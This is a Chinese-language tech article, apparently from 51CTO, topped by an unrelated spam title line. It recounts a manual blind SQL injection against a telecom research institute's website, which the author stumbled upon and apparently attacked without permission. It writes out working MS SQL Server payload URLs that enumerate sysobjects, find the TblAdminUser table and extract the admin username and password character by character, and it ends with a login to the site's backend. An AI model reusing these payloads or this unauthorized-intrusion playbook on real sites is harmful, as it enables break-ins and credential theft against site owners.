自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

某網(wǎng)站安全檢測之數(shù)據(jù)庫手工注入

安全 數(shù)據(jù)安全
所謂數(shù)據(jù)庫注入,也就是SQL Injection,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。來自官方的說法是:“當應(yīng)用程序使用輸入內(nèi)容來構(gòu)造動態(tài)SQL語句以訪問數(shù)據(jù)庫時,會發(fā)生SQL注入攻擊。

一、引子

長夜慢慢,無心睡眠……

無意中翻到幾年前聽的一首名為《祖先的陰影》的搖滾,這么長久的歷史,混合著許多的罪惡與功績;這么“燦爛的文化”,夾雜著太多的愚昧與文明。美好的,如漢字,圍棋古箏,詩詞曲賦等;糟糕的,如一輩子只會干“殺盡叛賊、占據(jù)王位,選好王妃,建造墳堆”四件事的皇帝及官僚制度,小腳,太監(jiān)及八股文等等。

噢,且慢,八股文——不要言之過早!今天,讓我用八股文這一舊瓶,來包裝一下IT方面的新酒;把數(shù)據(jù)庫注入這一有幾個年頭的安全技術(shù),再寫一篇略有新意的文章。

二、概要

所謂數(shù)據(jù)庫注入,也就是SQL Injection,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。來自官方的說法是:“當應(yīng)用程序使用輸入內(nèi)容來構(gòu)造動態(tài)SQL語句以訪問數(shù)據(jù)庫時,會發(fā)生SQL注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的用戶輸入的字符串來傳遞,也會發(fā)生SQL注入攻擊。SQL注入可能導(dǎo)致攻擊者能夠使用應(yīng)用程序登錄在數(shù)據(jù)庫中執(zhí)行命令。如果應(yīng)用程序使用特權(quán)過高的帳戶連接到數(shù)據(jù)庫,這種問題會變得很嚴重。”在某些表單中,用戶輸入的內(nèi)容直接用來構(gòu)造(或者影響)動態(tài)SQL命令,或作為存儲過程的輸入?yún)?shù),這類表單特別容易受到SQL注入攻擊。而許多網(wǎng)站程序在編寫時,沒有對用戶輸入數(shù)據(jù)的合法性進行判斷或者程序中本身的變量處理不當,使應(yīng)用程序存在安全隱患。這樣用戶就可以提交一段數(shù)據(jù)庫查詢代碼,(一般是在瀏覽器地址欄進行,通過正常的www端口訪問)根據(jù)程序返回的結(jié)果,獲得一些敏感的信息或者控制整個服務(wù)器,于是SQL注入產(chǎn)生了。其實簡單點說,SQL注入的原理就是從客戶端提交特殊的代碼,從而收集程序及服務(wù)器的信息,從而獲取你想到得到的資料。

當然,能不能構(gòu)造、構(gòu)造什么樣的數(shù)據(jù)庫查詢代碼,就有是菜鳥和高手的區(qū)別了;同時我向大伙保證:我絕不是高手——我基本上連數(shù)據(jù)庫都不會用,所以大伙看了文章后不要問我太多太深的問題,因為我也不知道。

三、檢測

查找資料的過程中,被鏈接到某電信技術(shù)研究院網(wǎng)站,看了一下首頁代碼及鏈接,用and和or簡單測試了一下,沒發(fā)現(xiàn)什么,在最后快要放棄的時候,發(fā)現(xiàn)如下頁面有點意思。

1=1(不正常)

[[60427]]

1=2(也不正常)

加一個特殊符號,則如下圖示。

[[60428]]

(返回正常)

[[60429]]

(返回異常)

嘿嘿,存在注入,心花怒放!

四、暴庫

上面就可以知道該網(wǎng)站后臺數(shù)據(jù)庫是MS SQL Server。

[[60430]]

(select count(*) from [sysobjects])>=0(返回正常,可見數(shù)據(jù)庫為SQL Server)

探測該網(wǎng)站數(shù)據(jù)庫實例名,我很幸運,竟然通過錯誤暴出來,請看下圖。

[[60431]]

SQL Server中DB_NAME 最大值是NVARCHAR(128),我提交錯誤,網(wǎng)站也報錯,看紅色下劃線處和紅色長方形里,可見數(shù)據(jù)庫實例名為jstrd。

五、尋表

漫長而痛苦的工作開始了,同時因為在創(chuàng)建一個數(shù)據(jù)庫的同時,系統(tǒng)會自動建立一些系統(tǒng)表,我構(gòu)造了如下的語句,來探測數(shù)據(jù)庫實例jstrd中的表名。

限于篇幅的緣故我在這里只介紹與應(yīng)用實例有關(guān)的一個系統(tǒng)表(SYSOBJECTS)及其相關(guān)的字段。

表SYSOBJECTS為數(shù)據(jù)庫內(nèi)創(chuàng)建的每個對象(約束,規(guī)則,表,視圖,觸發(fā)器等)創(chuàng)建一條記錄。該表相關(guān)字段的含義如下:

SYSOBJECTS.name 對象名,如:表名,視圖名。

SYSOBJECTS.id 對象id。

SYSOBJECTS.type 對象類型(p存儲過程,v視圖,s系統(tǒng)表,u用戶表)。

[[60432]]

太帥了,返回正確,提交的“系統(tǒng)態(tài)”語句是:

http://*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1

翻譯成我們?nèi)菀鬃R別的“用戶態(tài)”(以后都用這種形式表示)是:

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))<=67)>0 and '1'='1&classid=1

或許各位要懵了,這都是些什么東西啊,亂七八糟的?我笑而不答,謎底將在后面揭開。但事先點一下:

xtype是那張表的一個字段,xtype=char(117) 也就是xtype='U' 意思是取用戶的表??崭?Space)的ASCII編碼是32。

歷經(jīng)多次的失敗后,在如下語句輸入時,探測到我認為是存儲用戶名和密碼的一張表(之前也探測到別的表,但我認為對自己沒有用。并且要說一下的是當我探測到有TblAd之后,我直覺得加上了TblAdmin;后來發(fā)現(xiàn)還沒完,有TblAdminUs之后,我直覺得加上了TblAdminUser)。

[[60433]]

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and '1'='1&classid=1

可見有TblAdminUser這么一張表,我們可以再測試一下,如下圖。

[[60434]]

and (select count(*) from TblAdminUser)>0

六、探列

各位看到這里,上面的謎底很可能都明白了。什么,還有不明白的!那好,告訴你:網(wǎng)站及后臺系統(tǒng)理會我上面所說的“系統(tǒng)態(tài)”,不理會“用戶態(tài)”。你們看看如下兩個表。

[[60435]]

(部分Unicode編碼表)

[[60436]]

(部分ASCII編碼表)

剛才尋到了表,現(xiàn)在我們的工作是探列了,綜合運用上面提到過的知識,加上我的直覺猜測里面應(yīng)該就有username和password兩個列,果然!請看下圖。

[[60437]]

http://*/show_products.asp?id=22'and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and '1'='1&classid=1

[[60438]]

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1

七、結(jié)果

沖鋒的號角已經(jīng)響起,勝利在望;可“行百里者,半于九十”,真正要花大半功夫的地方,也在這。

[[60439]]

http://*/show_products.asp?id=22'%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20'1'='1&classid=1

可見username列中,第一個字符是a (ASCII編碼為97),很快,就猜測到了是admin。

判斷password列中,第一個字符應(yīng)該在g之后,如下圖示。

[[60440]]

http://*/show_products.asp?id=22' (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and '1'='1&classid=1and

很快,就猜到了是j,呵呵,有點意思。如下圖示。

[[60441]]

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1

歷經(jīng)千辛萬苦后,我終于找到了全部密碼,竟然是*********

輕松找到后臺,登陸,果然正確!如下圖示。

[[60442]]

八、尾聲

因為這份文檔主要側(cè)重數(shù)據(jù)庫手工注入,所以注入成功獲得網(wǎng)站控制權(quán)后的進一步滲透不作介紹。在這里,是我拋出一塊破磚,引大伙收獲更多的良玉。個人感覺,注入能成功,得益于以下三點:

1、Unicode編碼和ASCII編碼的應(yīng)用;

2、系統(tǒng)會自動建立的系統(tǒng)表sysobjects的應(yīng)用;

3、db_name最大長度128的應(yīng)用,加上一些直覺判斷。

整個過程,耗了近一個星期的業(yè)余時間,此時,又是一個深夜……

夜色沉沉,睡意濃濃。

責(zé)任編輯:藍雨淚 來源: 星星落在我頭上
相關(guān)推薦

2010-09-30 09:11:01

2010-11-01 17:30:01

2010-09-30 08:27:48

2011-04-11 13:19:41

Oracle數(shù)據(jù)庫

2011-03-31 09:19:54

數(shù)據(jù)庫優(yōu)化

2010-05-06 09:30:16

Oracle創(chuàng)建數(shù)據(jù)庫

2009-10-09 15:20:12

2009-01-06 15:20:01

2010-04-12 08:59:00

2024-01-01 16:16:26

2013-04-26 11:39:40

2013-11-12 16:38:22

2019-05-31 12:13:49

MySQL數(shù)據(jù)庫安全

2019-01-16 14:20:42

2014-01-17 12:35:48

2010-11-09 17:19:49

SQL Server導(dǎo)

2011-03-10 13:24:26

2011-03-07 15:54:30

2015-10-30 15:05:08

Sybase數(shù)據(jù)庫安全

2010-07-23 13:39:19

SNS網(wǎng)站
點贊
收藏

51CTO技術(shù)棧公眾號